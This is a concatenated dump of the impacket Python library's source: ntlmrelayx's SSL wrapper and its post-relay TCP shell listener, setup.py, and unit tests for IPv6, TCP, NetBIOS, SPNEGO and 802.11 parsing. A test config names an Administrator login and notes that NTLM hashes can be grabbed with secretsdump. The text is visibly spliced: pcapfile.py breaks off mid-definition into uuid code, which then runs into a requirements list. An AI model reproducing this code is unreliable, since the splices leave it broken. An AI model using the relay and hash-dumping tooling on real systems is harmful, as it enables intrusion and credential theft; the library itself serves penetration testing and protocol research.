41 | cert.sign(pkey, "sha256")
42 | # We write both from the same file
43 | with open(certname, 'w') as certfile:
44 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8'))
45 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
46 | LOG.debug('Wrote certificate to %s' % certname)
47 |
48 | # Class to wrap the client socket in SSL when serving as a SOCKS server
49 | class SSLServerMixin(object):
50 | # This function will wrap the socksSocket in an SSL layer
51 | def wrapClientConnection(self, cert='/tmp/impacket.crt'):
52 | # Create a context, we don't really care about the SSL/TLS
53 | # versions used since it is only intended for local use and thus
54 | # doesn't have to be super-secure
55 | ctx = SSL.Context(SSL.SSLv23_METHOD)
56 | try:
57 | ctx.use_privatekey_file(cert)
58 | ctx.use_certificate_file(cert)
59 | except SSL.Error:
60 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')
61 | generateImpacketCert(cert)
62 | ctx.use_privatekey_file(cert)
63 | ctx.use_certificate_file(cert)
64 |
65 | sslSocket = SSL.Connection(ctx, self.socksSocket)
66 | sslSocket.set_accept_state()
67 |
68 | # Now set this property back to the SSL socket instead of the regular one
69 | self.socksSocket = sslSocket
70 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/utils/tcpshell.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # TCP interactive shell
8 | #
9 | # Author:
10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # Launches a TCP shell for interactive use of clients
14 | # after successful relaying
15 | import socket
16 | #Default listen port
17 | port = 11000
18 | class TcpShell:
19 | def __init__(self):
20 | global port
21 | self.port = port
22 | #Increase the default port for the next attack
23 | port += 1
24 |
25 | def listen(self):
26 | #Set up the listening socket
27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
28 | #Bind on localhost
29 | serversocket.bind(('127.0.0.1', self.port))
30 | #Don't allow a backlog
31 | serversocket.listen(0)
32 | self.connection, host = serversocket.accept()
33 | #Create a file object from the socket
34 | self.socketfile = self.connection.makefile()
35 |
--------------------------------------------------------------------------------
/impacket/impacket/krb5/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/ldap/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/pcapfile.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 |
8 | from impacket import structure
9 |
10 | O_ETH = 0
11 | O_IP = 1
12 | O_ARP = 1
13 | O_UDP = 2
14 | O_TCP = 2
15 | O_ICMP = 2
16 | O_UDP_DATA = 3
17 | O_ICMP_DATA = 3
18 |
19 | MAGIC = '"\xD4\xC3\xB2\xA1'
20 |
21 | class PCapFileHeader(structure.Structure):
22 | structure = (
23 | ('magic', MAGIC),
24 | ('versionMajor', 'HHL', uuid[8:16])
29 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
30 |
31 | def string_to_bin(uuid):
32 | matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
33 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
34 | uuid = pack('HHL', uuid4, uuid5, uuid6)
36 | return uuid
37 |
38 | def stringver_to_bin(s):
39 | (maj,min) = s.split('.')
40 | return pack('=0.2.3
4 | pycryptodomex
5 | pyOpenSSL>=0.16.2
6 | ldap3==2.5.1
7 | ldapdomaindump>=0.9.0
8 | flask>=1.0
9 |
--------------------------------------------------------------------------------
/impacket/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # $Id$
3 |
4 | import glob
5 | import os
6 | import platform
7 |
8 | from setuptools import setup
9 |
10 | PACKAGE_NAME = "impacket"
11 |
12 | if platform.system() != 'Darwin':
13 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))]
14 | else:
15 | data_files = []
16 |
17 | def read(fname):
18 | return open(os.path.join(os.path.dirname(__file__), fname)).read()
19 |
20 | setup(name = PACKAGE_NAME,
21 | version = "0.9.20-dev",
22 | description = "Network protocols Constructors and Dissectors",
23 | url = "https://www.secureauth.com/labs/open-source-tools/impacket",
24 | author = "SecureAuth Corporation",
25 | author_email = "oss@secureauth.com",
26 | maintainer = "Alberto Solino",
27 | maintainer_email = "bethus@gmail.com",
28 | license = "Apache modified",
29 | long_description = read('README.md'),
30 | long_description_content_type="text/markdown",
31 | platforms = ["Unix","Windows"],
32 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom',
33 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx',
34 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers',
35 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils',
36 | 'impacket.examples.ntlmrelayx.attacks'],
37 | scripts = glob.glob(os.path.join('examples', '*.py')),
38 | data_files = data_files,
39 | install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3==2.5.1', 'ldapdomaindump>=0.9.0', 'flask>=1.0'],
40 | extras_require={
41 | 'pyreadline:sys_platform=="win32"': [],
42 | 'python_version<"2.7"': [ 'argparse' ],
43 | },
44 | classifiers = [
45 | "Programming Language :: Python :: 3.6",
46 | "Programming Language :: Python :: 2.7",
47 | "Programming Language :: Python :: 2.6",
48 | ]
49 | )
50 |
--------------------------------------------------------------------------------
/impacket/tests/ImpactPacket/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/tests/ImpactPacket/runalltestcases.bat:
--------------------------------------------------------------------------------
1 |
2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G
--------------------------------------------------------------------------------
/impacket/tests/ImpactPacket/runalltestcases.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | separator='======================================================================'
3 |
4 | export PYTHONPATH=../..:$PYTHONPATH
5 |
6 | if [ $# -gt 0 ]
7 | then
8 | # Only run coverage when called by tox
9 | RUN="python -m coverage run --append --rcfile=../coveragerc "
10 | else
11 | RUN=python
12 | fi
13 |
14 | total=0
15 | ok=0
16 | failed=0
17 | for file in `ls *.py` ; do
18 | echo $separator
19 | echo Executing $RUN $file
20 | latest=$(
21 | $RUN $file 2>&1 | {
22 | while read line; do
23 | echo " $line" 1>&2
24 | latest="$line"
25 | done
26 | echo $latest
27 | }
28 | )
29 | #echo Latest ${latest}
30 | result=${latest:0:6}
31 | if [ "$result" = "FAILED" ]
32 | then
33 | (( failed++ ))
34 | elif [ "$result" = "OK" ]
35 | then
36 | (( ok++ ))
37 | fi
38 |
39 | (( total++ ))
40 | done
41 | echo $separator
42 | echo Summary:
43 | echo " OK $ok/$total"
44 | echo " $failed FAILED"
45 |
--------------------------------------------------------------------------------
/impacket/tests/ImpactPacket/test_IP6.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | #Impact test version
4 | try:
5 | from impacket import IP6_Address, IP6, ImpactDecoder
6 | except:
7 | pass
8 |
9 | #Standalone test version
10 | try:
11 | import sys
12 | sys.path.insert(0,"../..")
13 | import IP6_Address, IP6, ImpactDecoder
14 | except:
15 | pass
16 |
17 | import unittest
18 |
19 | class TestIP6(unittest.TestCase):
20 |
21 | def setUp(self):
22 | #Version 6, traffic class 72, flow label 148997, payload length 1500
23 | #next header 17 (UDP), hop limit 1
24 | #source addr FE80::78F8:89D1:30FF:256B
25 | #dest addr FF02::1:3
26 | self.binary_packet = [
27 | 0x64, 0x82, 0x46, 0x05,
28 | 0x05, 0xdc, 0x11, 0x01,
29 | 0xfe, 0x80, 0x00, 0x00,
30 | 0x00, 0x00, 0x00, 0x00,
31 | 0x78, 0xf8, 0x89, 0xd1,
32 | 0x30, 0xff, 0x25, 0x6b,
33 | 0xff, 0x02, 0x00, 0x00,
34 | 0x00, 0x00, 0x00, 0x00,
35 | 0x00, 0x00, 0x00, 0x00,
36 | 0x00, 0x01, 0x00, 0x03]
37 |
38 | def test_decoding(self):
39 | '''Test IP6 Packet decoding.'''
40 |
41 |
42 | d = ImpactDecoder.IP6Decoder()
43 | parsed_packet = d.decode(self.binary_packet)
44 |
45 | protocol_version = parsed_packet.get_ip_v()
46 | traffic_class = parsed_packet.get_traffic_class()
47 | flow_label = parsed_packet.get_flow_label()
48 | payload_length = parsed_packet.get_payload_length()
49 | next_header = parsed_packet.get_next_header()
50 | hop_limit = parsed_packet.get_hop_limit()
51 | source_address = parsed_packet.get_ip_src()
52 | destination_address = parsed_packet.get_ip_dst()
53 |
54 | self.assertEquals(protocol_version, 6, "IP6 parsing - Incorrect protocol version")
55 | self.assertEquals(traffic_class, 72, "IP6 parsing - Incorrect traffic class")
56 | self.assertEquals(flow_label, 148997, "IP6 parsing - Incorrect flow label")
57 | self.assertEquals(payload_length, 1500, "IP6 parsing - Incorrect payload length")
58 | self.assertEquals(next_header, 17, "IP6 parsing - Incorrect next header")
59 | self.assertEquals(hop_limit, 1, "IP6 parsing - Incorrect hop limit")
60 | self.assertEquals(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address")
61 | self.assertEquals(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address")
62 |
63 | def test_creation(self):
64 | '''Test IP6 Packet creation.'''
65 |
66 | crafted_packet = IP6.IP6()
67 | crafted_packet.set_traffic_class(72)
68 | crafted_packet.set_flow_label(148997)
69 | crafted_packet.set_payload_length(1500)
70 | crafted_packet.set_next_header(17)
71 | crafted_packet.set_hop_limit(1)
72 | crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
73 | crafted_packet.set_ip_dst("FF02::1:3")
74 | crafted_buffer = crafted_packet.get_bytes().tolist()
75 | self.assertEquals(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch")
76 |
77 |
78 | suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6)
79 | unittest.TextTestRunner(verbosity=1).run(suite)
80 |
--------------------------------------------------------------------------------
/impacket/tests/ImpactPacket/test_TCP_bug_issue7.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.ImpactPacket import TCP, ImpactPacketException
7 | import unittest
8 | from threading import Thread
9 |
10 | class TestTCP(unittest.TestCase):
11 |
12 | def setUp(self):
13 | # Dummy TCP header with "Maximum Segment Size" Option and zero length
14 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00'
15 |
16 | def test_01(self):
17 | 'Test TCP options parsing hangs'
18 | class it_hangs(Thread):
19 | def __init__(self):
20 | Thread.__init__(self)
21 | def run(self):
22 | try:
23 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \
24 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00'
25 | tcp = TCP(frame)
26 | except ImpactPacketException as e:
27 | if str(e) != "'TCP Option length is too low'":
28 | raise e
29 | except:
30 | pass
31 |
32 | thread_hangs = it_hangs()
33 | thread_hangs.setDaemon(True)
34 | thread_hangs.start()
35 |
36 | thread_hangs.join(1.0) # 1 seconds timeout
37 | self.assertEqual(thread_hangs.isAlive(), False)
38 | #if thread_hang.isAlive():
39 |
40 |
41 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP)
42 | unittest.TextTestRunner(verbosity=1).run(suite)
43 |
--------------------------------------------------------------------------------
/impacket/tests/SMB_RPC/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/tests/SMB_RPC/dcetests.cfg:
--------------------------------------------------------------------------------
1 | [global]
2 |
3 | [TCPTransport]
4 | # NetBIOS Name
5 | servername =
6 | # Targets IP
7 | machine = 172.16.123.232
8 | username = Administrator
9 | password = test
10 | # NTLM Hash, you can grab it with secretsdump
11 | hashes =
12 | # Kerberos AES 256 Key, you can grab it with secretsdump
13 | aesKey256 =
14 | # Kerberos AES 128 Key, you can grab it with secretsdump
15 | aesKey128 =
16 | # It must be the domain FQDN
17 | domain = CONTOSO.COM
18 | # This need to be a domain joined machine NetBIOS name
19 | machineuser=
20 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump)
21 | machineuserhashes =
22 |
23 | [SMBTransport]
24 | # NetBIOS Name
25 | servername =
26 | # Targets IP
27 | machine = 172.16.123.232
28 | username = Administrator
29 | password = test
30 | # NTLM Hash, you can grab it with secretsdump
31 | hashes =
32 | # Kerberos AES 256 Key, you can grab it with secretsdump
33 | aesKey256 =
34 | # Kerberos AES 128 Key, you can grab it with secretsdump
35 | aesKey128 =
36 | # It must be the domain FQDN
37 | domain = CONTOSO.COM
38 | # This need to be a domain joined machine NetBIOS name
39 | machineuser=
40 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump)
41 | machineuserhashes =
42 |
--------------------------------------------------------------------------------
/impacket/tests/SMB_RPC/rundce.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | separator='======================================================================'
3 |
4 | export PYTHONPATH=../../:$PYTHONPATH
5 | if [ $# -gt 0 ]
6 | then
7 | # Only run coverage when called by tox
8 | RUN="python -m coverage run --append --rcfile=../coveragerc "
9 | else
10 | RUN=python
11 | fi
12 |
13 | python -V > /tmp/version
14 |
15 | $RUN test_rpcrt.py
16 | $RUN test_scmr.py
17 | $RUN test_epm.py
18 | $RUN test_samr.py
19 | $RUN test_wkst.py
20 | $RUN test_srvs.py
21 | $RUN test_lsad.py
22 | $RUN test_lsat.py
23 | $RUN test_rrp.py
24 | $RUN test_mgmt.py
25 | $RUN test_ndr.py
26 | $RUN test_drsuapi.py
27 | $RUN test_wmi.py
28 | $RUN test_dcomrt.py
29 | $RUN test_even6.py
30 | $RUN test_bkrp.py
31 | $RUN test_tsch.py
32 | $RUN test_dhcpm.py
33 | $RUN test_secretsdump.py
34 | $RUN test_nrpc.py
35 | $RUN test_rprn.py
36 |
--------------------------------------------------------------------------------
/impacket/tests/SMB_RPC/test_nmb.py:
--------------------------------------------------------------------------------
1 | try:
2 | import ConfigParser
3 | except ImportError:
4 | import configparser as ConfigParser
5 | import unittest
6 |
7 | from impacket import nmb
8 | from impacket.structure import hexdump
9 |
10 |
11 | class NMBTests(unittest.TestCase):
12 | def create_connection(self):
13 | pass
14 |
15 | def test_encodedecodename(self):
16 | name = 'THISISAVERYLONGLONGNAME'
17 | encoded = nmb.encode_name(name,nmb.TYPE_SERVER,None)
18 | hexdump(encoded)
19 | decoded = nmb.decode_name(encoded)
20 | hexdump(bytearray(decoded[1],'utf-8'))
21 |
22 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0])
23 | self.assertTrue(name[:15]==decoded[1].strip())
24 |
25 | # ToDo: Fix the scope functionality
26 | #namescope = 'MYNAME'
27 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE')
28 | #hexdump(encoded)
29 | #decoded = nmb.decode_name(encoded)
30 | #hexdump(decoded)
31 |
32 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0])
33 | #self.assertTrue(namescope[:15]==decoded[1].strip())
34 |
35 | def test_getnetbiosname(self):
36 | n = nmb.NetBIOS()
37 | res = n.getnetbiosname(self.machine)
38 | print(repr(res))
39 | self.assertTrue( self.serverName, res)
40 |
41 | def test_getnodestatus(self):
42 | n = nmb.NetBIOS()
43 | resp = n.getnodestatus(self.serverName.upper(), self.machine)
44 | for r in resp:
45 | r.dump()
46 | print(resp)
47 |
48 | def test_gethostbyname(self):
49 | n = nmb.NetBIOS()
50 | n.set_nameserver(self.serverName)
51 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER)
52 | print((resp.entries))
53 |
54 | def test_name_registration_request(self):
55 | n = nmb.NetBIOS()
56 | # ToDo: Look at this
57 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1')
58 | try:
59 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2')
60 | resp.dump()
61 | except Exception as e:
62 | print(str(e))
63 | if str(e).find('NETBIOS') <= 0:
64 | raise e
65 |
66 | def test_name_query_request(self):
67 | n = nmb.NetBIOS()
68 | # ToDo: Look at this
69 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1')
70 | resp = n.name_query_request(self.serverName, self.machine)
71 | print((resp.entries))
72 |
73 | class NetBIOSTests(NMBTests):
74 | def setUp(self):
75 | NMBTests.setUp(self)
76 | # Put specific configuration for target machine with SMB1
77 | configFile = ConfigParser.ConfigParser()
78 | configFile.read('dcetests.cfg')
79 | self.serverName = configFile.get('SMBTransport', 'servername')
80 | self.machine = configFile.get('SMBTransport', 'machine')
81 |
82 | if __name__ == "__main__":
83 | suite = unittest.TestLoader().loadTestsFromTestCase(NetBIOSTests)
84 | unittest.TextTestRunner(verbosity=1).run(suite)
85 |
--------------------------------------------------------------------------------
/impacket/tests/SMB_RPC/test_spnego.py:
--------------------------------------------------------------------------------
1 | import unittest
2 |
3 | from impacket import smb
4 |
5 | class Test(unittest.TestCase):
6 | def setUp(self):
7 | self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
8 |
9 | self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b'
10 |
11 | self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00'
12 |
13 | self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d'
14 |
15 | self.negTokenResp3 = b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00'
16 |
17 | def test_negTokenInit(self):
18 | token = smb.SPNEGO_NegTokenInit()
19 | token.fromString(self.negTokenInit)
20 | self.assertTrue(self.negTokenInit, token.getData())
21 |
22 | def test_negTokenInit2(self):
23 | token = smb.SPNEGO_NegTokenInit()
24 | token.fromString(self.negTokenInit2)
25 | self.assertTrue(self.negTokenInit2, token.getData())
26 |
27 | def test_negTokenResp1(self):
28 | token = smb.SPNEGO_NegTokenResp()
29 | token.fromString(self.negTokenResp1)
30 | self.assertTrue(self.negTokenResp1, token.getData())
31 |
32 | def test_negTokenResp2(self):
33 | token = smb.SPNEGO_NegTokenResp()
34 | token.fromString(self.negTokenResp2)
35 | self.assertTrue(self.negTokenResp2, token.getData())
36 |
37 | def test_negTokenResp3(self):
38 | token = smb.SPNEGO_NegTokenResp()
39 | token.fromString(self.negTokenResp3)
40 | self.assertTrue(self.negTokenResp3, token.getData())
41 |
42 | if __name__ == "__main__":
43 | unittest.main()
44 |
--------------------------------------------------------------------------------
/impacket/tests/coveragerc:
--------------------------------------------------------------------------------
1 | # .coveragerc to control coverage.py
2 | [run]
3 | branch = True
4 | source = impacket
5 | omit = *remcom*
6 | *.tox*
7 |
8 | [report]
9 | # Regexes for lines to exclude from consideration
10 | exclude_lines =
11 | # Have to re-enable the standard pragma
12 | pragma: no cover
13 |
14 | # Don't complain about missing debug-only code:
15 | if self\.debug
16 |
17 | # Don't complain if tests don't hit defensive assertion code:
18 | raise AssertionError
19 | raise NotImplementedError
20 |
21 | # Don't complain if non-runnable code isn't run:
22 | if 0:
23 | if __name__ == .__main__.:
24 |
25 | ignore_errors = True
26 |
27 | [html]
28 | directory = coverage_html_report
29 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/runalltestcases.bat:
--------------------------------------------------------------------------------
1 |
2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G
--------------------------------------------------------------------------------
/impacket/tests/dot11/runalltestcases.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | separator='======================================================================'
3 | export PYTHONPATH=../..:$PYTHONPATH
4 |
5 | if [ $# -gt 0 ]
6 | then
7 | # Only run coverage when called by tox
8 | RUN="python -m coverage run --append --rcfile=../coveragerc "
9 | else
10 | RUN=python
11 | fi
12 |
13 | total=0
14 | ok=0
15 | failed=0
16 | for file in `ls *.py` ; do
17 | echo $separator
18 | echo Executing $file
19 | latest=$(
20 | $RUN $file 2>&1 | {
21 | while read line; do
22 | echo " $line" 1>&2
23 | latest="$line"
24 | done
25 | echo $latest
26 | }
27 | )
28 | #echo Latest ${latest}
29 | result=${latest:0:6}
30 | if [ "$result" = "FAILED" ]
31 | then
32 | (( failed++ ))
33 | elif [ "$result" = "OK" ]
34 | then
35 | (( ok++ ))
36 | else
37 | echo "WARNING: Unknown result!!!!!"
38 | (( failed++ ))
39 | fi
40 |
41 | (( total++ ))
42 | done
43 | echo $separator
44 | echo Summary:
45 | echo " OK $ok/$total"
46 | echo " $failed FAILED"
47 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_Dot11Base.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11, Dot11Types
7 | import unittest
8 |
9 | class TestDot11Common(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # Frame control field
13 | a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e'
14 | self.dot11fc=Dot11(a)
15 |
16 | def test_01_HeaderSize(self):
17 | 'Test Header Size field'
18 | self.assertEqual(self.dot11fc.get_header_size(), 2)
19 |
20 | def test_01_TailSize(self):
21 | 'Test Tail Size field'
22 | self.assertEqual(self.dot11fc.get_tail_size(), 4)
23 |
24 | def test_02_Version(self):
25 | 'Test Version field'
26 | self.assertEqual(self.dot11fc.get_version(), 0)
27 | self.dot11fc.set_version(3)
28 | self.assertEqual(self.dot11fc.get_version(), 3)
29 |
30 | def test_03_Type(self):
31 | 'Test Type field'
32 | self.assertEqual(self.dot11fc.get_type(), 1)
33 | self.dot11fc.set_type(3)
34 | self.assertEqual(self.dot11fc.get_type(), 3)
35 |
36 | def test_04_SubType(self):
37 | 'Test Subtype field'
38 | self.assertEqual(self.dot11fc.get_subtype(),13)
39 | self.dot11fc.set_subtype(5)
40 | self.assertEqual(self.dot11fc.get_subtype(),5)
41 |
42 | def test_05_ToDS(self):
43 | 'Test toDS field'
44 | self.assertEqual(self.dot11fc.get_toDS(),0)
45 | self.dot11fc.set_toDS(1)
46 | self.assertEqual(self.dot11fc.get_toDS(),1)
47 |
48 | def test_06_FromDS(self):
49 | 'Test fromDS field'
50 | self.assertEqual(self.dot11fc.get_fromDS(),0)
51 | self.dot11fc.set_fromDS(1)
52 | self.assertEqual(self.dot11fc.get_fromDS(),1)
53 |
54 | def test_07_MoreFrag(self):
55 | 'Test More Frag field'
56 | self.assertEqual(self.dot11fc.get_moreFrag(),0)
57 | self.dot11fc.set_moreFrag(1)
58 | self.assertEqual(self.dot11fc.get_moreFrag(),1)
59 |
60 | def test_08_Retry(self):
61 | 'Test Retry field'
62 | self.assertEqual(self.dot11fc.get_retry(),0)
63 | self.dot11fc.set_retry(1)
64 | self.assertEqual(self.dot11fc.get_retry(),1)
65 |
66 | def test_09_PowerManagement(self):
67 | 'Test Power Management field'
68 | self.assertEqual(self.dot11fc.get_powerManagement(),0)
69 | self.dot11fc.set_powerManagement(1)
70 | self.assertEqual(self.dot11fc.get_powerManagement(),1)
71 |
72 | def test_10_MoreData(self):
73 | 'Test More Data field'
74 | self.assertEqual(self.dot11fc.get_moreData(),0)
75 | self.dot11fc.set_moreData(1)
76 | self.assertEqual(self.dot11fc.get_moreData(),1)
77 |
78 | # def test_11_WEP(self):
79 | # 'Test WEP field'
80 | # self.assertEqual(self.dot11fc.get_WEP(),0)
81 | # self.dot11fc.set_WEP(1)
82 | # self.assertEqual(self.dot11fc.get_WEP(),1)
83 |
84 |
85 | def test_12_Order(self):
86 | 'Test Order field'
87 | self.assertEqual(self.dot11fc.get_order(),0)
88 | self.dot11fc.set_order(1)
89 | self.assertEqual(self.dot11fc.get_order(),1)
90 |
91 | def test_13_latest(self):
92 | 'Test complete frame hexs'
93 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)
94 | self.dot11fc.set_order(1)
95 | self.dot11fc.set_moreData(1)
96 | self.dot11fc.set_retry(1)
97 | self.dot11fc.set_fromDS(1)
98 |
99 | frame=self.dot11fc.get_packet()
100 |
101 | self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e')
102 |
103 |
104 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common)
105 | unittest.TextTestRunner(verbosity=1).run(suite)
106 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_Dot11Decoder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types
7 | from six import PY2
8 | import unittest
9 |
10 | class TestDot11Decoder(unittest.TestCase):
11 |
12 | def setUp(self):
13 | self.WEPKey=None #Unknown
